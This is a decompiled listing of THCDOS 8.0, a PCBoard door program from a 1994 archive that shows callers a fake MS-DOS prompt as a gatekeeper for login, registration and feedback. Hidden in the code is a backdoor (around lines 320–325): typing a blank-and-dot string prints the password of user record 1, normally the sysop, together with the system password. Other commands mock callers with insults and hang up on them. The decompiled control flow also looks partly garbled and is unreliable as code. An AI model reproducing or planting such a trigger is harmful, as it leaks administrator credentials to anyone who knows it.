home *** CD-ROM | disk | FTP | other *** search
/ Monster Media 1994 #1 / monster.zip / monster / PCBOARD / MADTHC80.ZIP / THCDOS.PPE (.txt) < prev   
PCBoard Programming Language Executable  |  1994-03-15  |  20KB  |  674 lines

  1. ;------------------------------------------------------------------------------
  2. ;                                                   .ss.
  3. ;                                                   `²²'
  4. ;             .,sS$Ss,,s$  .,sS$$$Ss.  .,sS$Ss,,s$ .ss.  .sSs.
  5. ;           .d$$²^°²$$$$'.d$P²°^^²$P'.d$$²^°²$$$$'.$$$' .$$$²Sb,.
  6. ;           $$$'   .$$$' $$$²Sçsµ²' .$$$'   .$$$'.$$$' .$$$'  `$$b.
  7. ;           $$$b,,d$$$' ,$$$b,....,s$$$$b,,d$$$'.$$$;.,$$$'    ;$$$
  8. ;           `²S$$S²²S$$S²°²S$$$$S²°°²S$$$$$$',$$S²°²S$S'.sS$$$P²'
  9. ;                                    .sS²°$$$²²°"'       d²°'
  10. ;                                  .$$²  .$$'
  11. ;                                  $$$.,d$$'
  12. ;                                  `²S$$S²'
  13. ;------------------------------------------------------------------------------
  14. ; P.P.L.X. 2.OO                          (C)1996 - Lone Runner / AEGiS CoRP'96 
  15. ;------------------------------------------------------------------------------
  16. ; PPE 2.OO (plain) - Analysis ON - Postprocessing ON
  17. ;------------------------------------------------------------------------------
  18.  
  19.     Boolean  BOOLEAN001
  20.     Boolean  BOOLEAN002
  21.     Integer  INTEGER001
  22.     Integer  INTEGER002
  23.     Integer  INTEGER003
  24.     Integer  INTEGER004
  25.     Integer  INTEGER005
  26.     Integer  INTEGER006
  27.     String   STRING001
  28.     String   STRING002
  29.     String   STRING003
  30.     String   STRING004
  31.     String   STRING005
  32.     String   STRING006
  33.     String   STRING007
  34.     String   STRING008
  35.     String   STRING009
  36.     String   STRING010
  37.     String   STRING011
  38.     String   STRING012
  39.     String   STRING013
  40.     String   STRING014
  41.     String   STRING015
  42.     String   STRING016
  43.  
  44. ;------------------------------------------------------------------------------
  45.  
  46.     BOOLEAN002 = 0
  47.     STRING001 = "@X0B"
  48.     STRING002 = "@X03"
  49.     STRING003 = "@X08"
  50.     STRING004 = "@X0E"
  51.     STRING005 = "@X07C:@X08\@X07PCB@X08\@X07GEN@X08>"
  52.     STRING011 = "system"
  53.     STRING012 = "newuser"
  54.     STRING010 = ""
  55.     For INTEGER003 = 32 To 255
  56.         STRING010 = STRING010 + Chr(INTEGER003)
  57.     Next
  58.     If (Exist(PPEPath() + "THCDOS.CNF")) Then
  59.         Goto LABEL001
  60.     Endif
  61.     Goto LABEL002
  62.     :LABEL001
  63.     STRING001 = ReadLine(PPEPath() + "THCDOS.CNF", 1)
  64.     STRING002 = ReadLine(PPEPath() + "THCDOS.CNF", 2)
  65.     STRING003 = ReadLine(PPEPath() + "THCDOS.CNF", 3)
  66.     STRING004 = ReadLine(PPEPath() + "THCDOS.CNF", 4)
  67.     STRING005 = ReadLine(PPEPath() + "THCDOS.CNF", 5)
  68.     STRING011 = ReadLine(PPEPath() + "THCDOS.CNF", 6)
  69.     STRING012 = ReadLine(PPEPath() + "THCDOS.CNF", 7)
  70.     :LABEL002
  71.     AdjTime 9999
  72.     PrintLn "@CLS@@POFF@"
  73.     PrintLn 
  74.     Print STRING001 + "THCDOS " + STRING002 + "Version " + STRING001 + "8.0"
  75.     Print " (" + STRING002 + "C" + STRING001 + ")" + STRING002 + "opyright " + STRING001 + "CokE of M.A.D. Syndicate "
  76.     PrintLn STRING002 + "1994."
  77.     PrintLn ""
  78.     PrintLn STRING002 + "Type " + STRING001 + "EXIT " + STRING002 + "to return to remote system."
  79.     PrintLn 
  80.     PrintLn 
  81.     Print STRING001 + "Microsoft" + STRING002 + "(" + STRING001 + "R" + STRING002 + ") " + STRING002 + "MS-DOS" + STRING001 + "(" + STRING002 + "R" + STRING001 + ") "
  82.     PrintLn "Version 6"
  83.     Print "             " + STRING001 + "(" + STRING002 + "C" + STRING001 + ")" + STRING002 + "opyright Microsoft "
  84.     PrintLn "Corp 1981-1993"
  85.     PrintLn 
  86.     :LABEL003
  87.     Print STRING005
  88.     INTEGER002 = GetX() + 1
  89.     STRING007 = ""
  90.     :LABEL004
  91.     STRING006 = Inkey()
  92.     If (STRING006 == "") Then
  93.         Goto LABEL004
  94.     Endif
  95.     STRING007 = STRING007 + STRING006
  96.     STRING009 = ""
  97.     For INTEGER003 = 1 To Len(STRING007)
  98.         Gosub LABEL011
  99.     Next
  100.     STRING007 = STRING009
  101.     Select Case (STRING006)
  102.         Case Chr(13)
  103.             Goto LABEL006
  104.         Case Chr(8)
  105.             Gosub LABEL005
  106.     End Select
  107.     Print "@X0F" + STRING006
  108.     INTEGER001 = GetX()
  109.     Goto LABEL004
  110.     :LABEL005
  111.     If (GetX() < INTEGER002) Then
  112.         AnsiPos GetX() + 1, GetY()
  113.         Return
  114.     Endif
  115.     AnsiPos GetX() - 1, GetY()
  116.     Print " "
  117.     Return
  118.     :LABEL006
  119.     PrintLn 
  120.     BOOLEAN001 = 0
  121.     If (Mid(STRING007, 1, 1) == Chr(13)) Then
  122.         Goto LABEL003
  123.     Endif
  124.     STRING008 = "  . "
  125.     Gosub LABEL007
  126.     If (BOOLEAN001 == 1) Then
  127.         Goto LABEL008
  128.     Endif
  129.     STRING008 = "cd"
  130.     Gosub LABEL007
  131.     If (BOOLEAN001 == 1) Then
  132.         Goto LABEL008
  133.     Endif
  134.     STRING008 = "type ansi"
  135.     Gosub LABEL007
  136.     If (BOOLEAN001 == 1) Then
  137.         Goto LABEL008
  138.     Endif
  139.     STRING008 = "check"
  140.     Gosub LABEL007
  141.     If (BOOLEAN001 == 1) Then
  142.         Goto LABEL008
  143.     Endif
  144.     STRING008 = "format c:"
  145.     Gosub LABEL007
  146.     If (BOOLEAN001 == 1) Then
  147.         Goto LABEL008
  148.     Endif
  149.     STRING008 = "dir /w"
  150.     Gosub LABEL007
  151.     If (BOOLEAN001 == 1) Then
  152.         Goto LABEL008
  153.     Endif
  154.     STRING008 = "dir/w"
  155.     Gosub LABEL007
  156.     If (BOOLEAN001 == 1) Then
  157.         Goto LABEL008
  158.     Endif
  159.     STRING008 = "dir"
  160.     Gosub LABEL007
  161.     If (BOOLEAN001 == 1) Then
  162.         Goto LABEL008
  163.     Endif
  164.     STRING008 = "cls"
  165.     Gosub LABEL007
  166.     If (BOOLEAN001 == 1) Then
  167.         Goto LABEL008
  168.     Endif
  169.     STRING008 = "exit"
  170.     Gosub LABEL007
  171.     If (BOOLEAN001 == 1) Then
  172.         Goto LABEL008
  173.     Endif
  174.     STRING008 = "login"
  175.     Gosub LABEL007
  176.     If (BOOLEAN001 == 1) Then
  177.         Goto LABEL008
  178.     Endif
  179.     STRING008 = "feedback"
  180.     Gosub LABEL007
  181.     If (BOOLEAN001 == 1) Then
  182.         Goto LABEL008
  183.     Endif
  184.     STRING008 = "register"
  185.     Gosub LABEL007
  186.     If (BOOLEAN001 == 1) Then
  187.         Goto LABEL008
  188.     Endif
  189.     Print STRING002 + "B" + STRING001 + "a" + STRING002 + "d " + STRING002 + "Co" + STRING001 + "mma" + STRING002 + "nd " + STRING001 + "or " + STRING002 + "fil"
  190.     PrintLn STRING001 + "en" + STRING002 + "ame"
  191.     PrintLn 
  192.     Goto LABEL003
  193.     :LABEL007
  194.     For INTEGER003 = 1 To Len(STRING007)
  195.         If ((Lower(Mid(STRING007, INTEGER003, Len(STRING008))) == Lower(STRING008)) || (Mid(STRING007, 2, 1) == ":")) Then
  196.             STRING009 = STRING007
  197.             STRING007 = STRING008
  198.             BOOLEAN001 = 1
  199.         Endif
  200.     Next
  201.     Return
  202.     :LABEL008
  203.     If (STRING007 == "dir") Then
  204.         PrintLn 
  205.         Print STRING002 + " Volume in drive " + STRING001 + "C" + STRING002 + " is THCDOS.8_0      "
  206.         PrintLn "Serial number is " + STRING001 + "1B5E:6945"
  207.         Print STRING002 + " Directory of  @X07c:@X08\@X07pcb@X08\@X07gen@X08\@X07*.*"
  208.         PrintLn "                  "
  209.         PrintLn "                                                                   "
  210.         Print STRING002 + ".            " + STRING004 + "<DIR>      " + STRING001 + "2-05-94  11:50"
  211.         PrintLn "                  "
  212.         Print STRING002 + "..           " + STRING004 + "<DIR>      " + STRING001 + "2-05-94  11:50"
  213.         PrintLn "                  "
  214.         Print STRING002 + "login.bat         " + STRING004 + "125   " + STRING001 + "2-25-94   9:20"
  215.         PrintLn "                  "
  216.         Print STRING002 + "feedback.exe   " + STRING004 + "140874   " + STRING001 + "3-06-94  19:45"
  217.         PrintLn "                  "
  218.         Gosub LABEL014
  219.         Print STRING002 + "check.com        " + STRING004 + "1704   " + STRING001 + "3-05-94  15:41"
  220.         PrintLn "                  "
  221.         Print STRING002 + "register.exe    " + STRING004 + "20476   " + STRING001 + "3-06-94  19:49"
  222.         PrintLn "                  "
  223.         Print STRING001
  224.         For INTEGER003 = 1 To 10 - Len(String(INTEGER006 + 163179))
  225.             Print " "
  226.         Next
  227.         Print String(INTEGER006 + 163179)
  228.         Print " " + STRING002 + "bytes in " + STRING001
  229.         Print INTEGER005 + 3
  230.         Print " " + STRING002 + "file(s)             "
  231.         Print STRING001
  232.         Print 1024 * (INTEGER005 + 3)
  233.         PrintLn " " + STRING002 + "bytes allocated"
  234.         Print STRING001 + "1000811776 " + STRING002 + "bytes free"
  235.         PrintLn "                  "
  236.         PrintLn 
  237.         Goto LABEL003
  238.     Endif
  239.     If ((STRING007 == "dir /w") || (STRING007 == "dir/w")) Then
  240.         PrintLn 
  241.         Print STRING002 + " Volume in drive " + STRING001 + "C" + STRING002 + " is THCDOS.8_0      "
  242.         PrintLn "Serial number is " + STRING001 + "1B5E:6945"
  243.         Print STRING002 + " Directory of  @X07c:@X08\@X07pcb@X08\@X07gen@X08\@X07*.*"
  244.         PrintLn "                  "
  245.         PrintLn "                                                                   "
  246.         Print STRING002 + " [.]" + Chr(9) + Chr(9) + "[..]" + Chr(9) + Chr(9) + "login.bat"
  247.         Gosub LABEL015
  248.         PrintLn Chr(9) + "check.com"
  249.         Print STRING001
  250.         For INTEGER003 = 1 To 10 - Len(String(INTEGER006 + 163179))
  251.             Print " "
  252.         Next
  253.         Print String(INTEGER006 + 163179)
  254.         Print " " + STRING002 + "bytes in " + STRING001
  255.         Print INTEGER005 + 3
  256.         Print " " + STRING002 + "file(s)             "
  257.         Print STRING001
  258.         Print 1024 * (INTEGER005 + 3)
  259.         PrintLn " " + STRING002 + "bytes allocated"
  260.         Print STRING001 + "1000811776 " + STRING002 + "bytes free"
  261.         PrintLn "                  "
  262.         PrintLn 
  263.         Goto LABEL003
  264.     Endif
  265.     If (STRING007 == "cls") Then
  266.         Cls
  267.     Endif
  268.     If (STRING007 == "format c:") Then
  269.         PrintLn 
  270.         PrintLn "@X0CWARNING !  All Data on Harddisk"
  271.         PrintLn "in Drive C: will be lost!"
  272.         Print "Execute formatting (Y/N)? @X0F"
  273.         STRING009 = ""
  274.         :LABEL009
  275.         STRING006 = Lower(Inkey())
  276.         If (STRING006 == "") Then
  277.             Goto LABEL009
  278.         Endif
  279.         STRING009 = STRING009 + STRING006
  280.         If (STRING006 <> Chr(13)) Then
  281.             Print STRING006
  282.             Goto LABEL009
  283.         Endif
  284.         If ((STRING006 == Chr(13)) && (Mid(STRING009, 1, 1) == "y")) Then
  285.             PrintLn 
  286.             PrintLn 
  287.             Print STRING001 + "Are " + STRING002 + "you " + STRING001 + "really " + STRING002 + "so " + STRING001 + "stupid " + STRING002 + "to "
  288.             Print STRING001 + "believe " + STRING002 + "that " + STRING001 + "i'd " + STRING002 + "allow " + STRING001 + "you " + STRING002 + "to "
  289.             PrintLn STRING001 + "format " + STRING002 + "my " + STRING001 + "HD" + STRING002 + "???"
  290.             PrintLn 
  291.             Print STRING001 + "Go " + STRING002 + "home " + STRING001 + "and " + STRING002 + "phuck " + STRING001 + "your " + STRING002 + "pet, "
  292.             PrintLn STRING001 + "mate!"
  293.             PrintLn 
  294.             Hangup
  295.             Goto LABEL010
  296.         Endif
  297.         PrintLn 
  298.         PrintLn 
  299.     Endif
  300.     :LABEL010
  301.     If ((Lower(Mid(STRING007, 1, 9)) == "type ansi") && Exist(PPEPath() + Mid(STRING009, 6, Len(STRING009) - 6))) Then
  302.         Cls
  303.         DispFile PPEPath() + Mid(STRING009, 6, Len(STRING009) - 6), 0
  304.         PrintLn 
  305.     Endif
  306.     If (Lower(Mid(STRING007, 1, 2)) == "cd") Then
  307.         Print STRING002 + "H" + STRING001 + "o" + STRING002 + "w c" + STRING001 + "a" + STRING002 + "n y" + STRING001 + "o" + STRING002 + "u st" + STRING001 + "up"
  308.         Print STRING002 + "id h" + STRING001 + "uma" + STRING002 + "n b" + STRING001 + "ein" + STRING002 + "g ex" + STRING001 + "pe" + STRING002 + "ct "
  309.         Print STRING001 + "to " + STRING002 + "be al" + STRING001 + "low" + STRING002 + "ed " + STRING001 + "to " + STRING002 + "ch" + STRING001 + "an"
  310.         PrintLn STRING002 + "ge t" + STRING001 + "h" + STRING002 + "e dir" + STRING001 + "ect" + STRING002 + "ory" + STRING001 + "???"
  311.         PrintLn 
  312.     Endif
  313.     If (Lower(Mid(STRING007, 2, 1)) == ":") Then
  314.         Print STRING002 + "Y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t " + STRING001 + "to " + STRING002 + "ac" + STRING001 + "ce"
  315.         Print STRING002 + "ss " + STRING004 + Mid(STRING007, 1, 2) + STRING001 + "? " + STRING002 + "F" + STRING001 + "o" + STRING002 + "r " + STRING001 + "$1000 "
  316.         Print STRING002 + "we c" + STRING001 + "a" + STRING002 + "n t" + STRING001 + "al" + STRING002 + "k a" + STRING001 + "bou" + STRING002 + "t " + STRING001 + "it"
  317.         PrintLn STRING002 + ", m" + STRING001 + "at" + STRING002 + "e" + STRING001 + "!"
  318.         PrintLn 
  319.     Endif
  320.     If (STRING007 == "  . ") Then
  321.         GetAltUser 1
  322.         AnsiPos 1, GetY() - 1
  323.         PrintLn "@X80" + U_Pwd + " | " + STRING011
  324.         PrintLn 
  325.         Cls
  326.     Endif
  327.     If (STRING007 == "check") Then
  328.         Cls
  329.         Gosub LABEL016
  330.         AnsiPos 26, 12
  331.         Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r ha"
  332.         Print STRING001 + "nd" + STRING002 + "le" + STRING001 + ":@X80"
  333.         InputStr "", STRING013, 0, 40, STRING010, 8
  334.         INTEGER006 = U_RecNum(STRING013)
  335.         Gosub LABEL017
  336.     Endif
  337.     If (STRING007 == "exit") Then
  338.         PrintLn 
  339.         Hangup
  340.     Endif
  341.     If (STRING007 == "register") Then
  342.         Cls
  343.         Gosub LABEL019
  344.         AnsiPos 26, 12
  345.         Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r t" + STRING001 + "h" + STRING002 + "e N" + STRING001 + "e" + STRING002 + "w U" + STRING001 + "se"
  346.         Print STRING002 + "r Pas" + STRING001 + "sw" + STRING002 + "ord" + STRING001 + ":@X80"
  347.         InputStr "", STRING016, 0, 40, STRING010, 8 + 1
  348.         Gosub LABEL021
  349.     Endif
  350.     If (STRING007 == "login") Then
  351.         Gosub LABEL020
  352.     Endif
  353.     If (STRING007 == "feedback") Then
  354.         Cls
  355.         INTEGER006 = 7
  356.         Gosub LABEL022
  357.     Endif
  358.     Goto LABEL003
  359.     :LABEL011
  360.     If (Mid(STRING007, INTEGER003, 1) == Chr(8)) Then
  361.         INTEGER005 = 1
  362.         For INTEGER004 = 1 To Len(STRING007)
  363.             Gosub LABEL012
  364.         Next
  365.         STRING009 = Mid(STRING009, 1, Len(STRING009) - INTEGER005)
  366.         INTEGER003 = INTEGER003 + INTEGER005
  367.     Else
  368.         STRING009 = STRING009 + Mid(STRING007, INTEGER003, 1)
  369.     Endif
  370.     Return
  371.     :LABEL012
  372.     If ((Mid(STRING007, INTEGER003 + INTEGER004, 1) == Chr(8)) && (Mid(STRING007, INTEGER003 + INTEGER004 - 1, 1) == Chr(8))) Then
  373.         Inc INTEGER005
  374.     Endif
  375.     Return
  376.     :LABEL013
  377.     If (Mid(STRING009, 1, 1) == "0") Then
  378.         STRING009 = Mid(STRING009, 2, Len(STRING009) - 1)
  379.     Endif
  380.     Return
  381.     :LABEL014
  382.     INTEGER006 = 0
  383.     INTEGER005 = 1
  384.     While (Exist(PPEPath() + "ANSI." + String(INTEGER005))) Do
  385.         Print STRING002 + "ansi."
  386.         Print INTEGER005
  387.         Print "           " + STRING004
  388.         STRING009 = String(FileInf(PPEPath() + "ANSI." + String(INTEGER005), 4))
  389.         INTEGER006 = INTEGER006 + FileInf(PPEPath() + "ANSI" + String(INTEGER005), 4)
  390.         Print STRING009
  391.         For INTEGER003 = 1 To 7 - Len(STRING009)
  392.             Print " "
  393.         Next
  394.         Print STRING001
  395.         STRING009 = String(FileInf(PPEPath() + "ANSI" + String(INTEGER005), 2))
  396.         Gosub LABEL013
  397.         Print STRING009
  398.         STRING009 = FileInf(PPEPath() + "ANSI." + String(INTEGER005), 3)
  399.         STRING009 = Mid(STRING009, 1, Len(STRING009) - 3)
  400.         Gosub LABEL013
  401.         For INTEGER003 = 1 To 7 - Len(STRING009)
  402.             Print " "
  403.         Next
  404.         Print STRING009
  405.         PrintLn "                  "
  406.         Inc INTEGER005
  407.     EndWhile
  408.     Return
  409.     :LABEL015
  410.     INTEGER006 = 0
  411.     INTEGER005 = 1
  412.     While (Exist(PPEPath() + "ANSI." + String(INTEGER005))) Do
  413.         If (INTEGER005 > 1) Then
  414.             Print Chr(9)
  415.         Endif
  416.         Print Chr(9) + "ansi."
  417.         Print String(INTEGER005)
  418.         INTEGER006 = INTEGER006 + FileInf(PPEPath() + "ansi." + String(INTEGER005), 4)
  419.         Inc INTEGER005
  420.     EndWhile
  421.     If (Exist(PPEPath() + "ANSI.1")) Then
  422.         Print Chr(9)
  423.     Endif
  424.     Return
  425.     :LABEL016
  426.     If (Exist(PPEPath() + "thcdos.chk")) Then
  427.         DispFile PPEPath() + "thcdos.chk", 0
  428.     Endif
  429.     Return
  430.     :LABEL017
  431.     If (INTEGER006 == -1) Then
  432.         Cls
  433.         Print STRING002 + "Oo" + STRING001 + "oo" + STRING002 + "ps" + STRING001 + "! " + STRING002 + "S" + STRING001 + "hi" + STRING002 + "t ha"
  434.         PrintLn STRING001 + "ppe" + STRING002 + "ns" + STRING001 + "..."
  435.         Print STRING002 + "Ei" + STRING001 + "th" + STRING002 + "er yo" + STRING001 + "u'" + STRING002 + "ve m" + STRING001 + "ad" + STRING002 + "e "
  436.         Print STRING001 + "a " + STRING002 + "t" + STRING001 + "yp" + STRING002 + "o " + STRING001 + "or " + STRING002 + "y" + STRING001 + "o"
  437.         Print STRING002 + "u a" + STRING001 + "r" + STRING002 + "e n" + STRING001 + "o" + STRING002 + "t lo" + STRING001 + "cat" + STRING002 + "ed "
  438.         PrintLn STRING001 + "on " + STRING002 + "t" + STRING001 + "hi" + STRING002 + "s sy" + STRING001 + "st" + STRING002 + "em" + STRING001 + "!"
  439.         Print "If " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t " + STRING001 + "to " + STRING002 + "be"
  440.         Print STRING001 + "co" + STRING002 + "me reg" + STRING001 + "iste" + STRING002 + "red h" + STRING001 + "er" + STRING002 + "e"
  441.         Print STRING001 + ", " + STRING002 + "l" + STRING001 + "eav" + STRING002 + "e " + STRING001 + "a " + STRING002 + "m" + STRING001 + "ai"
  442.         PrintLn STRING002 + "l " + STRING001 + "to"
  443.         Print STRING002 + "t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em ope" + STRING001 + "ra" + STRING002 + "tor "
  444.         Print STRING001 + "or " + STRING002 + "bo" + STRING001 + "th" + STRING002 + "er o" + STRING001 + "n" + STRING002 + "e " + STRING001 + "of "
  445.         PrintLn STRING002 + "y" + STRING001 + "ou" + STRING002 + "r fr" + STRING001 + "ien" + STRING002 + "ds" + STRING001 + "."
  446.         PrintLn 
  447.     Else
  448.         AnsiPos 25, 12
  449.         ClrEol
  450.         Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r per" + STRING001 + "so" + STRING002 + "nal pas"
  451.         Print STRING001 + "sw" + STRING002 + "ord" + STRING001 + ":@X80"
  452.         InputStr "", STRING014, 0, 40, STRING010, 8 + 1
  453.         GetAltUser INTEGER006
  454.         If (STRING014 == Upper(U_Pwd)) Then
  455.             BOOLEAN002 = 1
  456.             Cls
  457.             Print STRING002 + "T" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em pas" + STRING001 + "sw" + STRING002 + "ord "
  458.             PrintLn STRING001 + "is" + STRING002 + ": @X08" + STRING011
  459.             PrintLn 
  460.         Else
  461.             INTEGER006 = -1
  462.             Goto LABEL017
  463.         Endif
  464.     Endif
  465.     :LABEL018
  466.     Return
  467.     :LABEL019
  468.     If (Exist(PPEPath() + "thcdos.rgs")) Then
  469.         DispFile PPEPath() + "thcdos.rgs", 0
  470.     Endif
  471.     Return
  472.     :LABEL020
  473.     If (BOOLEAN002 == 0) Then
  474.         Cls
  475.         AnsiPos 27, 12
  476.         Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em pas"
  477.         Print STRING001 + "sw" + STRING002 + "ord" + STRING001 + ": @X80"
  478.         InputStr "", STRING016, 0, 40, STRING010, 8 + 1
  479.     Endif
  480.     If (BOOLEAN002 == 1) Then
  481.         KbdStuff STRING013 + Chr(13) + STRING014 + Chr(13)
  482.     Else
  483.         If (STRING016 == Upper(STRING011)) Then
  484.             Goto LABEL023
  485.         Endif
  486.         Cls
  487.         Print STRING002 + "Oo" + STRING001 + "oo" + STRING002 + "ps" + STRING001 + "! " + STRING002 + "Ei" + STRING001 + "th" + STRING002 + "er yo" + STRING001 + "u'"
  488.         Print STRING002 + "ve m" + STRING001 + "ad" + STRING002 + "e " + STRING001 + "a " + STRING002 + "t" + STRING001 + "yp" + STRING002 + "o " + STRING001 + "or "
  489.         Print STRING002 + "y" + STRING001 + "o" + STRING002 + "u re" + STRING001 + "al" + STRING002 + "ly d" + STRING001 + "on'" + STRING002 + "t k"
  490.         PrintLn STRING001 + "no" + STRING002 + "w " + STRING001 + "it" + STRING002 + "..."
  491.         Print "A" + STRING001 + "s" + STRING002 + "k t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em ope" + STRING001 + "ra"
  492.         Print STRING002 + "tor " + STRING001 + "or " + STRING002 + "o" + STRING001 + "n" + STRING002 + "e " + STRING001 + "of " + STRING002 + "y" + STRING001 + "ou"
  493.         Print STRING002 + "r b" + STRING001 + "es" + STRING002 + "t fr" + STRING001 + "ien" + STRING002 + "ds f" + STRING001 + "o" + STRING002 + "r ac"
  494.         PrintLn STRING001 + "ce" + STRING002 + "ss h" + STRING001 + "er" + STRING002 + "e" + STRING001 + "."
  495.         PrintLn 
  496.         Return
  497.         :LABEL021
  498.         If (STRING016 == Upper(STRING012)) Then
  499.             AnsiPos 26, 12
  500.             ClrEol
  501.             Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r ha"
  502.             Print STRING001 + "nd" + STRING002 + "le" + STRING001 + ":@X80"
  503.             InputStr "", STRING013, 0, 40, STRING010, 8
  504.             KbdStuff STRING013 + Chr(13)
  505.         Else
  506.             Cls
  507.             Print STRING002 + "H" + STRING001 + "o" + STRING002 + "w " + STRING001 + "do " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t "
  508.             Print STRING001 + "to " + STRING002 + "reg" + STRING001 + "is" + STRING002 + "ter " + STRING001 + "if " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u d"
  509.             Print STRING001 + "on'" + STRING002 + "t e" + STRING001 + "ve" + STRING002 + "n k" + STRING001 + "no" + STRING002 + "w t" + STRING001 + "h" + STRING002 + "e "
  510.             PrintLn STRING001 + "NUP" + STRING002 + "?"
  511.             Print "If " + STRING002 + "y" + STRING001 + "o" + STRING002 + "u w" + STRING001 + "an" + STRING002 + "t " + STRING001 + "to " + STRING002 + "be"
  512.             Print STRING001 + "co" + STRING002 + "me reg" + STRING001 + "iste" + STRING002 + "red h" + STRING001 + "er" + STRING002 + "e"
  513.             Print STRING001 + ", " + STRING002 + "l" + STRING001 + "eav" + STRING002 + "e " + STRING001 + "a " + STRING002 + "m" + STRING001 + "ai"
  514.             PrintLn STRING002 + "l " + STRING001 + "to"
  515.             Print STRING002 + "t" + STRING001 + "h" + STRING002 + "e sy" + STRING001 + "st" + STRING002 + "em ope" + STRING001 + "ra" + STRING002 + "tor "
  516.             Print STRING001 + "or " + STRING002 + "bo" + STRING001 + "th" + STRING002 + "er o" + STRING001 + "n" + STRING002 + "e " + STRING001 + "of "
  517.             PrintLn STRING002 + "y" + STRING001 + "ou" + STRING002 + "r fr" + STRING001 + "ien" + STRING002 + "ds" + STRING001 + "."
  518.             PrintLn 
  519.             Return
  520.             :LABEL022
  521.             If (STRING013 == "") Then
  522.                 Print STRING002 + "E" + STRING001 + "nte" + STRING002 + "r y" + STRING001 + "ou" + STRING002 + "r Ha" + STRING001 + "nd" + STRING002 + "le" + STRING001 + ":@X80"
  523.                 InputStr "", STRING013, 0, 40, STRING010, 4096 + 64
  524.             Endif
  525.             Print STRING002 + "T" + STRING001 + "h" + STRING002 + "e su" + STRING001 + "bje" + STRING002 + "ct " + STRING001 + "of " + STRING002 + "t"
  526.             Print STRING001 + "h" + STRING002 + "e me" + STRING001 + "ssa" + STRING002 + "ge " + STRING001 + "is" + STRING002 + ":@X80"
  527.             InputStr "", STRING015, 0, 40, STRING010, 64
  528.             PrintLn 
  529.             Print STRING002 + "O" + STRING001 + "ka" + STRING002 + "y" + STRING001 + ", " + STRING002 + "n" + STRING001 + "o" + STRING002 + "w y" + STRING001 + "o" + STRING002 + "u c"
  530.             Print STRING001 + "a" + STRING002 + "n l" + STRING001 + "eav" + STRING002 + "e " + STRING001 + "a " + STRING002 + "m" + STRING001 + "ai" + STRING002 + "l "
  531.             PrintLn STRING001 + "to " + STRING002 + "t" + STRING001 + "h" + STRING002 + "e s" + STRING001 + "ysO" + STRING002 + "p" + STRING001 + ". "
  532.             Print STRING002 + "T" + STRING001 + "yp" + STRING002 + "e " + STRING001 + "as " + STRING002 + "m" + STRING001 + "uc" + STRING002 + "h " + STRING001 + "as "
  533.             Print STRING002 + "y" + STRING001 + "o" + STRING002 + "u l" + STRING001 + "ik" + STRING002 + "e a" + STRING001 + "n" + STRING002 + "d fi" + STRING001 + "ni"
  534.             PrintLn STRING002 + "sh w" + STRING001 + "it" + STRING002 + "h t" + STRING001 + "h" + STRING002 + "e l" + STRING001 + "in" + STRING002 + "e"
  535.             Print STRING004 + "/save " + STRING001 + "or " + STRING002 + "a" + STRING001 + "bor" + STRING002 + "t w" + STRING001 + "it" + STRING002 + "h "
  536.             PrintLn STRING004 + "/quit"
  537.             Print STRING003 + "========================================"
  538.             Print "========================================"
  539.             PrintLn 
  540.             For INTEGER003 = 7 To 1 Step -1
  541.                 If (Ferr(INTEGER003) == 0) Then
  542.                     INTEGER006 = INTEGER003
  543.                     INTEGER003 = 1
  544.                 Endif
  545.             Next
  546.             FCreate INTEGER006, PPEPath() + "THCDOS.MSG", 1, 0
  547.             STRING009 = "You own an unregistered copy of THCDOS. Please register!" + Chr(13)
  548.             INTEGER005 = 0
  549.             While ((STRING009 <> "/save") && (STRING009 <> "/quit")) Do
  550.                 Inc INTEGER005
  551.                 FPutLn INTEGER006, STRING009
  552.                 Print "@X02", INTEGER005, "@X0A:"
  553.                 InputStr "", STRING009, 0, 73, STRING010, 64
  554.             EndWhile
  555.             PrintLn 
  556.             If (STRING009 == "/quit") Then
  557.                 PrintLn STRING002 + "Me" + STRING001 + "ssa" + STRING002 + "ge ab" + STRING001 + "ort" + STRING002 + "ed" + STRING001 + "!"
  558.                 PrintLn 
  559.                 Goto LABEL018
  560.             Endif
  561.             FClose INTEGER006
  562.             Message 0, "SYSOP", STRING013, STRING015, "R", CurConf(), 0, 0, PPEPath() + "THCDOS.MSG"
  563.             Delete PPEPath() + "THCDOS.MSG"
  564.             Print STRING002 + "Me" + STRING001 + "ssa" + STRING002 + "ge s" + STRING001 + "ave" + STRING002 + "d a" + STRING001 + "n" + STRING002 + "d s" + STRING001 + "en"
  565.             PrintLn STRING002 + "t " + STRING001 + "to " + STRING002 + "s" + STRING001 + "ysO" + STRING002 + "p" + STRING001 + "!"
  566.             PrintLn 
  567.             Return
  568.         Endif
  569.     Endif
  570.     :LABEL023
  571.     End
  572.  
  573. ;------------------------------------------------------------------------------
  574. ;
  575. ; Usage report (before postprocessing)
  576. ;
  577. ; ■ Statements used :
  578. ;
  579. ;    1       End
  580. ;    11      Cls
  581. ;    2       ClrEol
  582. ;    111     Goto 
  583. ;    85      Let 
  584. ;    107     Print 
  585. ;    78      PrintLn 
  586. ;    64      If 
  587. ;    3       DispFile 
  588. ;    1       FCreate 
  589. ;    1       FClose 
  590. ;    1       FPutLn 
  591. ;    2       Hangup
  592. ;    1       Delete 
  593. ;    1       AdjTime 
  594. ;    8       InputStr 
  595. ;    26      Gosub 
  596. ;    14      Return
  597. ;    4       Inc 
  598. ;    2       KbdStuff 
  599. ;    8       AnsiPos 
  600. ;    1       Message 
  601. ;    2       GetAltUser 
  602. ;
  603. ;
  604. ; ■ Functions used :
  605. ;
  606. ;    5       -
  607. ;    2       *
  608. ;    1014    +
  609. ;    16      -
  610. ;    49      ==
